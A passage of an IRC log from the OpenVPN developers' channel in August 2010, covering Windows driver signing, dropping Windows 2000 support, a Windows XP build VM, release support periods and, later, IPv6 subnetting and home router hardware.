separate trees, including the openvpn-gui ... and then do the installer build from there? 08:39 <@cron2> I don't see a gain here, and more complexity, so I would not do it 08:39 <@dazo> yeah, I know not too much is happening there ... but as openvpn-gui is a separate project ... this could more easily tackle the building while more easily staying updated ... and it would make rebasing easier, as each "sub part" of OpenVPN would be better contained 08:39 <@cron2> but then, I don't want to do windows building anyway, so you should ask that question to someone else :-) 08:39 <@dazo> yeah :) 08:40 <@dazo> in fact using git submodule is actually not a big difference from interacting with how things are today ... it's just to organise the code base better 08:40 * cron2 abstains :-) 08:40 <@dazo> :) 09:39 -!- Praetorians [~praetoria@173.13.248.225] has joined #openvpn-devel 09:40 * ecrist lols at someone calling themself Praetorians who lives in washingtondc 09:41 < Praetorians> heh, I presume you know the history of the name.. 09:41 < Praetorians> I usually use it without the (s) on the end but someone else has that name on here 09:42 < ecrist> so, I assume you're secret service, or a mall cop. 09:42 < ecrist> :P 09:44 < Praetorians> neither, just a security minded tech guy. But I always did aspire to be a rent a cop. not! 09:45 < ecrist> heh 10:50 < kisom> Is there any way to apply a client-pf in the config files? 10:52 < kisom> Ok nvm, found the env variable 12:02 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 12:03 < jamesyonan> hi 12:03 <@dazo> hi jamesyonan! 12:04 * dazo is just headed out of the office to get home ... will get back on before the meeting 12:14 -!- dazo is now known as dazo_afk 12:42 <@mattock> hi all! 12:43 <@cron2> hi all 12:45 <@mattock> jamesyonan: great to see you here! 12:45 < jamesyonan> hi 12:46 <@mattock> have you already had time to fix the driver signing issue in 2.1.2? 12:57 -!- dazo_afk is now known as dazo 13:01 < jamesyonan> I almost have the driver signing issue fixed 13:01 < jamesyonan> but now there is another issue as well -- the latest MS DDK doesn't support Win2K any longer 13:02 < jamesyonan> so in order to support Win2K we need to ship multiple versions of the drivers, each built by different versions of the DDK 13:03 <@mattock> do we want to support Win2k? Isn't it EOL for microsoft? 13:03 < jamesyonan> and the installer needs to detect the windows version and install the correct driver 13:03 * cron2 just points out that he's here but not really "carry around child" 13:04 <@dazo> officially Win2K is EOL ... but I believe you can buy an extended support pack for 2-3 more years 13:04 <@cron2> does the security problem affect w2k? 13:04 < jamesyonan> yes 13:04 <@mattock> I'll check the EOL status of Win2k 13:06 <@cron2> well, if we have w2k support in 2.1 and a security problem affecting them, I think 2.1.2 as 13:06 <@cron2> also needs to support w2k 13:06 <@cron2> 2.2 might not 13:06 < jamesyonan> I don't think we just drop support for Win2K in the middle of a release cycle 13:06 < ecrist> I would think win2k users need somem notice, if anything. 13:06 < ecrist> some* 13:07 <@cron2> jamesyonan: well, yes, what I said :) 13:07 < ecrist> win2k support will cease effective 2.2 or 2.3, perhaps 13:07 <@mattock> jamesyonan: good point... but perhaps drop support in 2.2-beta2? 13:07 <@dazo> http://support.microsoft.com/lifecycle/search/default.aspx?sort=PN&alpha=Windows+2000&Filter=FilterNO 13:08 < vpnHelper> Title: Microsoft Product Lifecycle Search (at support.microsoft.com) 13:08 < jamesyonan> maybe we can ping the lists and see how many people still use Win2K 13:08 <@dazo> hmm .... Extended li 13:08 <@dazo> Lifetime support expired in July 13:08 < ecrist> looks to me like terminating win2k effective 2.2 is reasonable. 13:09 <@mattock> http://blogs.technet.com/b/windowsserver/archive/2010/01/14/windows-2000-server-approaching-end-of-life.aspx 13:09 < vpnHelper> Title: Windows 2000 Server Approaching End of Life - Windows Server Division WebLog - Site Home - TechNet Blogs (at blogs.technet.com) 13:09 <@mattock> July 13th, 2010 13:09 <@dazo> I do not see any issues if we make a separate download for Win2000 ... for 2.1.2, and announce that 2.1.2 is the last update with Win2000 support 13:09 < ecrist> maybe point the release notes to that webpage 13:09 <@cron2> that sounds much easier yes 13:10 <@mattock> ok, July 13th 2010 is the EOL for extended support for Windows 2000 server 13:10 <@mattock> or rather, was 13:10 <@mattock> so it's not supported anymore 13:11 <@mattock> I think supporting win2k in 2.1.2 is reasonable 13:11 <@mattock> as is dropping support in 2.2-beta2 13:11 <@mattock> and later 2.1.x releases (if any) 13:11 < ecrist> 2.1.*, really 13:11 <@dazo> The advantage of having a separate download for 2.1.2 on Win2K, is that we easy can measure how many Win2K users we have 13:12 <@mattock> dazo: yep, good point 13:12 <@mattock> jamesyonan: what do you think? should 2.1.2 be the last release to support win2k? 13:13 < jamesyonan> mattock: yes, I think I agree with that 13:13 <@mattock> ok, good 13:14 <@mattock> does this decision have effect on driver signing in 2.2-beta2? 13:14 <@mattock> I mean, it's not an issue in 2.2-beta2, then 13:14 <@mattock> ? 13:15 <@mattock> btw. the topics page is here: https://community.openvpn.net/openvpn/wiki/Topics-2010-08-19 13:15 < vpnHelper> Title: Topics-2010-08-19 – OpenVPN Community (at community.openvpn.net) 13:15 <@dazo> what you're asking is if 2.2-beta needs code changes to work with the new DDK? 13:16 <@mattock> dazo: perhaps, have to google for DDK first :) 13:16 < jamesyonan> dazo: yes 13:16 <@mattock> ok, driver development kit 13:17 <@dazo> jamesyonan: yes - as in right question, or code needs to be changed? 13:17 < jamesyonan> dazo: yes, some changes in build scripts are required 13:17 <@mattock> I'll send mail to -users list looking for win2k users 13:17 <@dazo> okay 13:21 <@dazo> jamesyonan: if you mail me the changes you need to do in the beta2.2 branch, I'll make sure to get them in ... edit files, git add , git commit -s, and git format-patch HEAD~1 ... and then you can mail me the 0001-*.patch 13:24 <@mattock> ok, sent 13:24 <@mattock> sorry for the delay 13:26 <@mattock> shall we move to the 2.2-beta2 showstopper issues? 13:27 <@dazo> shoot! 13:27 <@mattock> so build scripts in 2.2-beta2 need modification, as james noted 13:28 <@mattock> jamesyonan: could some of us help you make the build script modifications? 13:29 <@dazo> I don't know how the build process works ... I got a feeling jamesyonan got some clever scripts automating a lot of this ... and it's not easy for us to test if the modifications are correct 13:29 < jamesyonan> dazo: I will release 2.1.3 with driver signing fix, then you should be able to get build system patch from svn 13:29 <@cron2> we'd need to actually build the stuff :) 13:29 <@dazo> jamesyonan: cool! I'll do that 13:29 <@mattock> jamesyonan: excellent! 13:30 < jamesyonan> it would be cool if others could learn the Windows build system -- I'm a bit of a bottleneck here 13:30 <@mattock> jamesyonan: is it trivial to build the 2.2-beta2 Windows installer after fixing the build scripts (in 2.1.3) 13:31 <@cron2> windows building is not *that* hard if you actually have a windows machine 13:31 < jamesyonan> the easy part of the build system is that there's one script that does everything : ./domake-win 13:31 < jamesyonan> the hard part is getting all the dependencies 13:31 * cron2 has no windows machines except an old laptop that does not have enough disk space in c: (and the build system fails in intersting ways if not all is on c:) 13:32 <@dazo> what's the requirements for windows building? ... what kind of OS and software is needed? Can that be on a VM which some of us have access to? 13:32 <@cron2> I used a customer machine for my build tests... 13:32 <@mattock> andrew just asked if we needed a Windows VM to use as build machine 13:32 <@mattock> what do you think? 13:32 <@cron2> dazo: windows XP, mingw, windows device driver kit 13:32 <@cron2> and there's one catch: git doesn't like mingw 13:32 < ecrist> heh 13:33 <@mattock> jamesyonan: would a VMWare VM do the trick? If andrews sets one up 13:33 <@dazo> cron2: oh? there are two git version for windows, though 13:33 <@raidz> I would be more than happy to give you guys a win xp vm if needed 13:33 < jamesyonan> another alternative is that I could publish a set of signed driver builds, and then others could take over the Windows build process using those driver builds as a source 13:33 <@mattock> I can learn Windows building, even though it gives me the creeps :) 13:33 <@raidz> and it would be on kvm, not vmware 13:33 <@cron2> dazo: for *mingw*? this is a specific environment (where you can run bash scripts and such) 13:33 <@cron2> jamesyonan: that would be appreciated 13:34 <@dazo> cron2: ahh ... is cygwin supported? 13:34 <@mattock> jamesyonan: signed drivers would help 13:34 <@cron2> dazo: no 13:34 <@dazo> gah ... oki 13:34 < jamesyonan> I use a package called "msys" that is a mingw-built version of standard unix tools like bash 13:34 <@cron2> dazo: well, one might make it work, but it's a different useful-cli-on-windows environment than mingw 13:34 <@dazo> I see 13:34 <@cron2> mingw+msys, that's it (sorry for omitting the msys bit) 13:35 <@dazo> and one of the git versions are msys based 13:35 <@mattock> raidz: not sure if kvm can be used for Windows driver building 13:35 <@mattock> although building the drivers is different from using them... 13:35 <@raidz> :-) 13:35 <@mattock> just ignore what I said, I make no sense :) 13:35 <@cron2> git compiled under mingw+msys works for basic stuff, but fails for "has file x been changed?" tests because of file modes - windows can not provide proper unix "chmod" semantics, so what git checks out and then later on finds on the file system doesn't agree 13:36 <@dazo> sure, that shouldn't be any problem ... KVM or vmware ... it's both a machine for Windows ... so it shouldn't really matter ... performance wise is rather another topic though 13:36 <@raidz> I could probably get you a vmware vm if its necessary, I am not a fan of vmware 13:36 <@dazo> cron2: okay 13:36 <@cron2> dazo: but I built git myself, so maybe the provided version for git-on-msys is fixed in that regard 13:36 <@raidz> kvm owns vmware in windows performance! 13:36 <@mattock> I think James' suggestion about providing signed drivers is the easiest one 13:36 <@mattock> then we could use *NIX to build the Windows installers 13:36 <@dazo> cron2: http://code.google.com/p/msysgit/ 13:36 < vpnHelper> Title: msysgit - Project Hosting on Google Code (at code.google.com) 13:37 <@cron2> raidz/mattock: a VM should be sufficient. from within windows, you can't really see the difference anyway 13:37 <@mattock> raidz: we'd need a Windows VM to test installer and OpenVPN anyways 13:37 <@cron2> dazo: noted, will test "as soon as I'm at that customer again" 13:37 <@dazo> :) 13:37 <@raidz> which flavor xp, 7? 2003? 13:37 <@mattock> perhaps 7? 13:38 <@mattock> I guess XP is also coming to EOL soon 13:38 <@raidz> your choice 13:38 < jamesyonan> I'm also in the process of developing a new build system using python instead of bash as the scripting language. This code is in the win subdirectory. The advantage of this system is that it doesn't require mingw or msys -- it uses python, visual studio, and DDK 13:38 <@cron2> I think building on XP is more likely to give us upwards compatible binaries 13:38 <@cron2> jamesyonan: is visual studio freely available? 13:38 < ecrist> cron2: I think so. 13:38 <@raidz> How about XP 64bit? 13:39 < ecrist> http://msdn.microsoft.com/en-us/vstudio/default.aspx 13:39 < vpnHelper> Title: Visual Studio on MSDN (at msdn.microsoft.com) 13:39 <@dazo> mattock: XP EOL is in 2014 13:39 <@mattock> raidz: isn't that the most incompatible Windows ever? 13:39 <@raidz> ouch 13:39 <@mattock> dazo: ok, I guess it was only the OEM version 13:40 <@mattock> then I'd go with XP as cron2 suggested 13:40 < jamesyonan> cron2: no, visual studio costs money, however OpenVPN Tech has an MSDN subscription, and we could probably provision a Windows VM with visual studio installed for community builds 13:40 <@dazo> If stuff built on XP works in Win7 ... then I'd go for XP 13:40 <@mattock> jamesyonan: sounds good 13:40 <@cron2> jamesyonan: mmmh, ok. what's the advantage of visual studio vs. msys/mingw? 13:40 <@raidz> mattock: Ok, winxp 32bit it is. How much ram would you like allocated to it? 13:41 <@cron2> (call me a windows noob, so I'm genuinely interested - haven't done any development on ms platforms since DOS 6.0 days) 13:41 * cron2 likes msys "feels like home" 13:41 <@mattock> mmm... is 1GB enough for XP? I mean realistically? 13:41 < jamesyonan> I'm a bit concerned with the maintenance of msys/mingw 13:41 < ecrist> mattock: that's plenty 13:41 <@cron2> jamesyonan: ok, that's a strong argument 13:41 <@cron2> mattock: plenty 13:41 <@dazo> jamesyonan: can you elaborate? 13:41 <@mattock> raidz: ok, 1GB if you got that much 13:42 <@raidz> winxp 32bit, 1gb ram it is 13:42 <@mattock> raidz: sounds good... just make sure it's behind a VPN, firewall and all that 13:42 <@mattock> :D 13:42 <@raidz> hehe, will do 13:42 <@cron2> raidz: once that VM is set up, how complicated would it be to clone it? (Like "I'd like to test some new tap driver features and make sure I'll not break something for james") 13:43 <@mattock> cron2: there are some issues with truly cloning the VM... 13:43 <@mattock> I played with Windows deployments a while back... MS had some crappy software to do automated deployments 13:43 < jamesyonan> dazo: sometimes newer windows API methods are not exposed in mingw .h files 13:43 <@mattock> I'd say not worth the effort... however, there are OSS tools for the same job 13:43 <@raidz> Yeah, that would be kind of tough 13:43 <@dazo> well, it could be done easier ... make a image copy of the disk ... if changes screws it up, restore to the backup image 13:44 <@raidz> dazo: thats what I am thinking 13:44 <@raidz> We could go down that route 13:44 <@mattock> dazo, raidz: yep, that's easy 13:44 <@cron2> that's along the lines I was thinking 13:44 <@dazo> that route do not cause any nasty licensing issues 13:44 <@mattock> or any issues with serial numbers, anti-piracy stuff etc 13:45 <@raidz> :-D 13:45 <@dazo> jamesyonan: ahh ... that's concerning ... then I understand the python route even better 13:45 <@mattock> ok, so this is looking good 13:45 <@cron2> but changing to ms vis studio also means "no more cross compiling", right? 13:45 <@mattock> raidz will create a WinXP 32bit 1GB VM 13:45 < jamesyonan> python is very actively supported for windows right now 13:46 <@raidz> mattock: doing it now! 13:46 <@mattock> raidz: great! 13:46 <@dazo> cron2: it can mean that, to some degree .... but if mingw don't follow windows API closely enough, the cross build is worthless anyway 13:47 < jamesyonan> the python build system can exist in parallel with the standard autoconf/automake system 13:47 <@cron2> well, there is that 13:47 < jamesyonan> of course visual studio and DDK must run on real windows 13:47 <@dazo> yeah 13:48 <@mattock> raidz: is it possible to put the VM behind a VPN and give access to a few people? 13:48 <@raidz> yep 13:48 <@mattock> I'm worried about Windows getting hacked 13:48 <@mattock> and also securing the connecting 13:49 <@mattock> ok, nice! 13:49 <@cron2> vpn-only is fine for me :) 13:49 <@raidz> we can discuss that on IM shouldn't be an issue 13:49 * dazo agrees 13:49 <@mattock> ok, good 13:50 <@mattock> jamesyonan: when you get drivers for 2.1.3 fixed... will it be trivial to rebuild and sign the drivers for 2.2-beta2? 13:50 <@mattock> 2.2-beta2 has parts of IPv6 support in place 13:50 < jamesyonan> mattock: probably 13:50 <@mattock> ok 13:51 <@mattock> what if we do this: 13:51 <@dazo> (IPv6 support only in wintap driver) 13:52 <@mattock> - james fixes the driver issue with 2.1.2 13:52 <@mattock> - ...and builds and signs the drivers for 2.2-beta2 13:52 <@mattock> - ... and builds the first version of 2.2-beta2 for Windows 13:52 <@mattock> - simultaneously the WinXP VM is setup and configured for building next releases 13:52 <@mattock> and in 2.2-beta3 the WinXP VM could be used for the Windows-side of the whole process 13:53 <@cron2> mattock: +1 13:53 <@mattock> is this realistic? 13:53 <@dazo> it might be that we need to jump to 2.2-beta3 .... to grab the changes from jamesyonan for doing proper windows builds 13:53 <@cron2> this sounds like a good plan to get moving quickly 13:54 <@mattock> jamesyonan: is that ok for you? 13:54 <@mattock> dazo: probably... people will wonder what we've been smoking to release 2.2-beta3 as the first beta release :) 13:55 <@dazo> mattock: I know ... the other option is to scratch earlier commits ... release new tarballs with already used names .... I find that more messy :) 13:55 < jamesyonan> mattock: that's reasonable -- one caveat is that the NSIS installer script hasn't been updated yet to work with the python build system 13:56 < jamesyonan> mattock: another caveat is that someone needs to install all the dependencies on the VM 13:56 <@dazo> jamesyonan: can that become a community task? to offload you? ... we need the VM first then 13:56 <@dazo> (with dependencies) 13:57 < jamesyonan> dazo: yes, that would be good 13:58 <@cron2> so, child asleep, hands free again :) 13:58 <@cron2> mattock, dazo: well, releasing as beta3 show that we did some testing on beta1 and beta2 :-) (which we did!) 13:59 <@dazo> true, I'm running beta2 on two servers .... one client role and one server role 14:00 <@mattock> btw... regarding VPN access to the build (XP) computer... if we use OpenVPN, does that make testing the builds harder? 14:00 <@cron2> yes. it would be good to have the access-the-XP VPN terminate somewhere else that the tap driver on windows is not in use 14:01 <@dazo> mattock: what do you mean now? running the OpenVPN server on XP as a OpenVPN server? 14:01 <@cron2> that's how I understood the question - run the OpenVPN on the XP VM itself 14:01 <@mattock> I mean that if OpenVPN is installed on the XP machine already... and then we build OpenVPN on the XP machine, and install it on the same XP machine 14:02 <@cron2> for testing, yes, for production access (to actually do the building), no 14:02 <@mattock> doesn't that create problems, especially if the new install does not work 14:02 <@dazo> yes, cron2 caught my point 14:02 <@cron2> mattock: yes, it would -> don't do it 14:02 <@cron2> put the OpenVPN server on a linux vm next door :) 14:02 <@mattock> ok, so where do we test the builds? 14:02 <@dazo> we can use winxp as a server as well ... *but* we need a backdoor via another VPN as well 14:03 <@dazo> (we would then probably access the winxp openvpn server via the vpn though) 14:03 <@dazo> (change delta between v2.2-beta2 and the last commit in beta2.2 ... http://www.fpaste.org/Ro1r/) 14:05 <@mattock> I don't think we need to solve this VPN issue right now... 14:05 <@dazo> nope, good point 14:06 <@mattock> jamesyonan: how can we help with the NSIS installer script / python build system issue? 14:07 <@mattock> what issues does it have currently? 14:07 <@cron2> my guess is "not finished" 14:07 < jamesyonan> the NSIS installer script needs to be updated to read the "dist" directory that is built by the new python build system 14:08 <@mattock> is the new build system stuff in SVN already? 14:08 < jamesyonan> yes 14:08 <@mattock> nice! 14:08 <@mattock> ok, so let's wait until raidz setups the VM 14:08 <@mattock> somebody at the company can then install Visual Studio 14:09 <@mattock> then somebody (perhaps I) can install DDK and requirements for OpenVPN builds 14:09 <@mattock> then we can get to debugging and fixing the build scripts 14:09 <@dazo> +1 14:09 <@mattock> next topic? 14:11 <@mattock> no objections :) 14:12 <@mattock> jamesyonan: what should we do with the community software "Downloads" page? I understood you have a script to help making releases... 14:12 <@mattock> so I can't edit the page directly 14:12 <@mattock> do you want to make the 2.2-beta3 release yourself? or offload it to someone else, e.g. me? 14:13 < jamesyonan> yes, I do have a series of scripts to automate the process of publishing a new release 14:13 <@dazo> could that be dumped into the VM as well? 14:14 < jamesyonan> the scripts to publish the release run on *nix 14:14 <@dazo> ahh :) 14:15 <@mattock> do you want to make the releases yourself? 14:15 <@cron2> signing the tar.gz is problematic if "we" do it 14:15 <@mattock> cron2: yes, true 14:16 <@raidz> which version of visual studio guys? 14:16 <@cron2> but mattock might be able to do the "update the web site" bit (and enhance that part to add links, more releases, etc.) 14:17 <@cron2> (I assume that this all happens inside the openvpn tech network) 14:17 <@mattock> cron2: yep, I need to add links to OpenVPN snapshots and all that 14:17 <@mattock> I can edit most of the pages, but not these dynamically created ones 14:17 <@mattock> like "Downloads" 14:17 <@cron2> from mgetty release stuff, I assume that the script wil pick a web site template, put in the most recent tarball version found, and ship to server 14:17 <@mattock> well, actually I can, but my changes would just get overwritten later 14:18 <@cron2> if that is how it works here, mattock would need to work on the templates 14:18 <@mattock> jamesyonan: which Visual Studio version should we install? 14:19 < jamesyonan> probably 2008 14:19 <@mattock> ok 14:19 <@mattock> raidz will install that, then 14:20 <@raidz> jamesyonan: Visual Studio 2008 Standard Edition. Is that okay? 14:20 < jamesyonan> no, use professional edition 14:21 <@mattock> jamesyonan: is there any way I could edit the page source / template for the "Downloads" page? 14:22 <@raidz> jamesyonan: sounds good, thanks 14:22 < jamesyonan> mattock: yes, I can give you the svn address where these scripts are kept 14:22 <@mattock> ok, excellent! 14:22 <@mattock> let's discuss that later 14:25 <@mattock> should we talk about 2.1.x vs. 2.2-beta? 14:25 <@mattock> briefly, I hope 14:25 <@mattock> :) 14:27 <@cron2> as far as I understand, 2.1 should only receive crucial fixes, while 2.2 gets new features and an extended test phase to make sure that the new features don't break anything 14:27 <@dazo> +1 14:27 <@mattock> +1 14:28 <@mattock> so "previous release" should receive only bugfixes... 14:28 <@mattock> should those end after the "next release" is stable? 14:29 <@dazo> ideally yes, but we can have a transition period where both is supported .... say 6 months after the next major version 14:29 <@mattock> or do we want overlap by having two "stable" releases being supported simultaneously? 14:29 <@cron2> mattock: I'd say yes for security fixes 14:29 <@mattock> jamesyonan: how has this been handled historically? 14:30 < jamesyonan> historically, we've had only one "stable" release at a time 14:33 <@mattock> if we have a shorter release cycle, then supporting the "previous release" for a while would make sense 14:33 <@mattock> also, people might not be able to upgrade at once _and_ might also be reluctant to use RC's 14:33 <@mattock> so some overlap would make sense I guess 14:34 <@mattock> how much would be enough? 14:34 <@dazo> Some overlap is reasonable. And as OpenVPN is not haunted with security issues, it should be doable .... 6 months might be too much, though 14:34 <@mattock> agreed 14:34 <@mattock> maybe 3 months? 14:35 <@dazo> probably, 3 months or if 2 major releases comes within the support period, only the two last released releases 14:36 <@dazo> (the two last releases, where the oldest one maximum 3 months after the release of the newest one .... to say it in one sentence) 14:36 <@mattock> supporting two previous releases would be simple to remember 14:37 <@mattock> or maybe support the "previous release" until next-next goes beta? 14:37 * ecrist reboots forum VM 14:37 <@mattock> ecrist: why is that? 14:38 < ecrist> needed to apply a patch to the kernel 14:38 <@mattock> ok 14:38 < ecrist> thought I'd done it before, but I had not 14:39 < ecrist> related to FreeBSD-SA-10:07.mbuf 14:39 <@dazo> we can probably discuss these support periods in another meeting? 14:40 <@mattock> dazo: my thoughts exactly 14:40 <@mattock> ok, so there's one more thing 14:40 < ecrist> forum is back up 14:40 <@mattock> jamesyonan: what do you think about my suggestion about hanging in the IRC more regularly? 14:40 <@mattock> that'd help us _a lot_ 14:41 <@mattock> even if you don't monitor the IRC 14:41 <@mattock> every 1-5 minutes I mean 14:42 <@dazo> jamesyonan: and to remove worries of spending too much time here ... it's not that much traffic on this channel between the meetings, but sometimes I wish you were here, as there are short quick questions which could save time 14:42 <@dazo> and ... you could bug us with things you see needs to be done, and we might catch them and fix stuff quicker as well, which again offloads you even more 14:42 <@mattock> +1 14:43 < jamesyonan> I can leave this channel open 14:43 <@mattock> jamesyonan: you should definitely bug us more often... we're here to help you 14:43 <@dazo> +1000 14:44 <@mattock> and we all share the same goals... I for one want to offload as much stuff from you as possible 14:45 < jamesyonan> thanks... It will help me a lot to offload the windows building responsibilities. 14:45 <@mattock> you're welcome! 14:45 <@dazo> indeed :) 14:46 <@mattock> and believe me, if I could, I would not touch Windows with a 10-foot pole... but what has to be done, has to be done :) 14:47 <@mattock> jamesyonan: I'd be great if you could let us know how your work (e.g. fixing the Windows driver signing issue) is proceeding 14:47 <@mattock> every now and then... 14:48 <@mattock> anyways, I guess we're done...? 14:48 * dazo feels so ... 14:49 <@mattock> jamesyonan: please let us know if you need help with anything 14:49 <@mattock> and it's great if you can hang around here and answer to queries every now and then 14:49 < jamesyonan> I will, thanks. 14:49 <@dazo> thank you too! :) 14:50 <@mattock> I think we got a lot done today... I'll write the summary tomorrow 14:50 <@dazo> thx! 14:51 <@cron2> gn8 :) 14:51 <@dazo> gn8, cron2 :) 14:51 <@mattock> I actually forgot to write the summary for last week... 14:51 <@dazo> shame on you! 14:51 <@dazo> :-P 14:51 <@raidz> :-D 14:51 <@mattock> yeah 14:51 <@raidz> I look forward to those 14:52 <@mattock> fortunately it was mostly "what is the status of " stuff 14:52 <@dazo> true 14:52 <@mattock> I mentioned about that in today's topic list mail 14:52 <@mattock> so I guess I'm excused :D 14:52 <@mattock> anyways, good night everyone! 14:53 <@mattock> cron2: n8! 14:53 <@raidz> take it easy 14:53 <@raidz> vm will be ready when you wake up 14:53 -!- mape2k [~mape2k@2001:638:904:ffc4:221:86ff:fe98:93a2] has quit [Read error: Operation timed out] 14:53 <@mattock> raidz: thanks! 14:53 <@dazo> raidz: that's awesome! Thanks a lot! 14:53 <@raidz> np guys! 14:55 <@mattock> jamesyonan: could you register your IRC nickname to prevent somebody impersonating as you? 14:56 <@raidz> I was just thikning about that myself 14:56 < jamesyonan> how do I do that? 14:57 <@mattock> oops 14:57 <@mattock> ok, so "/msg nickserv register " 14:57 <@mattock> I tried to register myself as 14:57 <@mattock> :D 14:57 <@raidz> http://www.ehow.com/how_2257930_register-user-name-freenode.html 14:58 < vpnHelper> Title: How to Register a User Name on Freenode | eHow.com (at www.ehow.com) 14:58 <@raidz> hehe 15:06 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 15:06 <@cron2> \o/ 15:06 <@dazo> :) 15:06 -!- Irssi: #openvpn-devel: Total of 17 nicks [6 ops, 0 halfops, 0 voices, 11 normal] 15:07 <@jamesyonan> ok, I'm registered 15:15 -!- Praetorians [~praetoria@173.13.248.225] has left #openvpn-devel [] 15:17 <@mattock> excellent! 15:37 -!- dazo is now known as dazo_afk 15:49 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 258 seconds] 21:28 <@raidz> alright, windows vm is online and loaded with goodies --- Day changed Fri Aug 20 2010 01:12 -!- mape2k [~mape2k@p5B285B4C.dip.t-dialin.net] has joined #openvpn-devel 01:47 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 01:47 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:02 -!- dazo_afk is now known as dazo 02:03 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Quit: Leaving.] 02:08 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 02:08 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:34 <@dazo> cron2: I managed to get IPv6 up'n'running at home yesterday with radvd and he.net IPv6 tunnel ... is there somewhere a simple IPv6 calculator on how do the network segmentation? 02:35 * dazo gets dizzy with IPv6 addresses and netmasks 03:20 <@cron2> dazo: I don't know any, but there is not that much to calculate either 03:20 <@cron2> every LAN segment gets a /64. period. 03:20 <@cron2> (technically, something else would be possible, but Just Do Not Do That - the nanog archives are full of discussions about this topic) 03:21 <@dazo> cron2: well, I got a /48 net ... and I'm not used to think in 128bit address space yet :) 03:21 <@dazo> Have I understood it right that /64 is the smallest you can have? 03:21 <@cron2> well, yeah. Now you have a /48, and assign /64s from it - so that's 16 bits to play with, to map your internal structure (8 bits for "site", 8 bits for "department" or whatever you want) 03:21 <@cron2> the IETF says "every LAN segment should be a /64", yes 03:22 <@cron2> certain mechanisms, like stateless autoconfig, only work with /64 - but you certainly could configure everything manually for a /120 or such, but "why bother" 03:22 <@cron2> inside the /48, you have 65000 /64s, that should be plenty :) 03:22 <@dazo> yeah, exactly :) 03:24 <@cron2> so for a typical home network, you'd just sequentially number the networks (LAN, WiFi, DMZ, fridge, oven, ...) as :0::/64, :1::/64, :2::/64, and so on 03:24 * dazo just saw the light ... 03:25 <@cron2> ... and if it's all one big bridged network anyway, just use ::/64 and waste 65535 other subnets :) 03:25 <@dazo> so it's :0::/64 all the way to :ffff::/64? 03:25 <@cron2> yep 03:25 <@cron2> 16 bits there -> :0000: to :ffff: 03:25 <@dazo> dang ... it's even easier then IPv4 :-P 03:25 <@cron2> :) 03:26 <@dazo> I've not bridged wifi and lan ... and in fact I'm going to add a separate VLAN on one of the ports as well, just for the bloody fun of it :) 03:26 <@dazo> so I do have even different IPv4 segments 03:28 <@dazo> cron2: thx a lot! I feel pretty silly now, as it was *that* easy ... but then again, I've just began to look at IPv6 quite recently 03:29 <@dazo> I even learnt a few months ago that each NIC can have multiple IPv6 addresses, and not by aliasing NIC's like you have to do with IPv4 ... which was another revelation for me :) 03:29 <@cron2> the problem with IPv6 is not that it's complicated, but that "our" brain structures are so encrusted to IPv4 that it takes some time to get used to this 03:29 <@dazo> exactly! 03:30 <@cron2> yep, IPv6 had the concept "there can always be more than one address per interface" right from the beginning - which makes renumbering and stuff fairly easy (roll out the new network, deprecate the old addresses, change DNS, wait a while, remove the old addresses) 03:30 <@dazo> yeah 03:38 <@dazo> the only scary thing I noticed yesterday ... I thought OpenWRT had some default IPv6 firewalling setup ... but it was completely open ... so suddenly all my devices was publicly available from the Internet :-P (two laptops and even my N900) 03:38 <@cron2> you need to install the ip6tables pkg (if I remember right) 03:39 <@dazo> yeah, I did that + kmod-ip6tables 03:39 <@cron2> and it all fit into your flash? surprising :-) - my 54gl got retired since with 10.03, I could barely fit in "base system"+"kmod-ipv6"+"openvpn"... 03:40 <@dazo> but being used to IPv4 NAT ... it makes you easily forget that you're all public with IPv6 03:40 <@cron2> yep. you definitely want some firewall rulese there 03:40 <@dazo> I cannot install OpenVPN :( It depends on OpenSSL which eats 1MB alone 03:40 <@dazo> But I've decided to hack it, and to get a MMC/SD card on it ... and then I'll consider to get a newer router 03:40 <@cron2> ok, without OpenVPN, it still works - but since all I used the WRTs for was "OpenVPN routers sent out to customers", that killed the 54GL for me 03:41 <@dazo> yeah, 54GL got too little flash :( 03:41 <@cron2> I found the TP-Link TL1043ND to be a fairly nice one - about 45 EUR here (DE), 8 Mb flash, .n wifi, and an USB2.0 port 03:42 <@cron2> and fully supported by 10.03, of course 03:43 <@dazo> I've always liked the Linksys so far ... the 54GL is really reliable, I've even bricked it a couple of times, and it tackled de-bricking it with shortcutting some pins on the flash chip during boot ... but maybe about time to try something new :) 03:44 <@cron2> I have about 10 54GLs out there, and I like them very much :-) - but OpenWRT has just grown too big... 03:44 <@dazo> yeah 03:45 <@dazo> cron2: where do they sell TP-Link in Germany? 03:45 <@cron2> amazon.de 03:46 <@dazo> ahh ... I'm fearing ordering on-line will be quite expensive, taking it to Czech :( 03:46 * dazo don't live that far from the Germany ... and is in mood for a trip to Germany again soon :) 03:47 <@cron2> no idea where to get them in stores - amazon is extremely convenient if you live here :-) 03:47 <@cron2> since there's at least 500 different "WiFi router" boxes on the market, stores only carry a small subset usually, and if you want a specific model... 03:47 <@dazo> yeah 03:49 <@dazo> Conrad don't even sell TP-Link routers it seems :( 03:58 <@dazo> heh ... "Die Original-Firmware ist nicht so doll, aber der Router hat genug Flash (8 Mb), um die alternative OpenWRT-Firmware aufzuspielen, und diese lässt keine Wünsche übrig - OpenVPN, IPv6," 03:58 <@mattock> dazo, cron2: have tried Soekris boards? 03:58 <@dazo> I want one! 03:59 <@dazo> mattock: I want one, expanded with a firewire 800 interface ... and then have some external disks in RAID :) 03:59 <@mattock> those are excellent for WLAN access points and as IPSec (or OpenVPN) nodes (correct term?) 03:59 <@mattock> to provide VPN connections between sites 03:59 <@dazo> yeah, I've heard good words about them 04:00 <@dazo> actually, I would like two ... to have one in a DMZ :-P 04:00 <@dazo> (as a VPN concentrator) 04:00 <@mattock> they run OpenBSD flawlessly and I guess Linux and other BSD's work excellent 04:00 <@mattock> yep, concentrator 04:00 <@mattock> that's the term 04:01 <@dazo> Linux support is working well, I've heard ... but the VPN accelerator is not much developed there :( 04:06 * dazo is also curious about the BeagleBoard stuff ... http://beagleboard.org/ 04:06 < vpnHelper> Title: BeagleBoard.org - default (at beagleboard.org) 04:06 <@cron2> mattock: I haven't yet 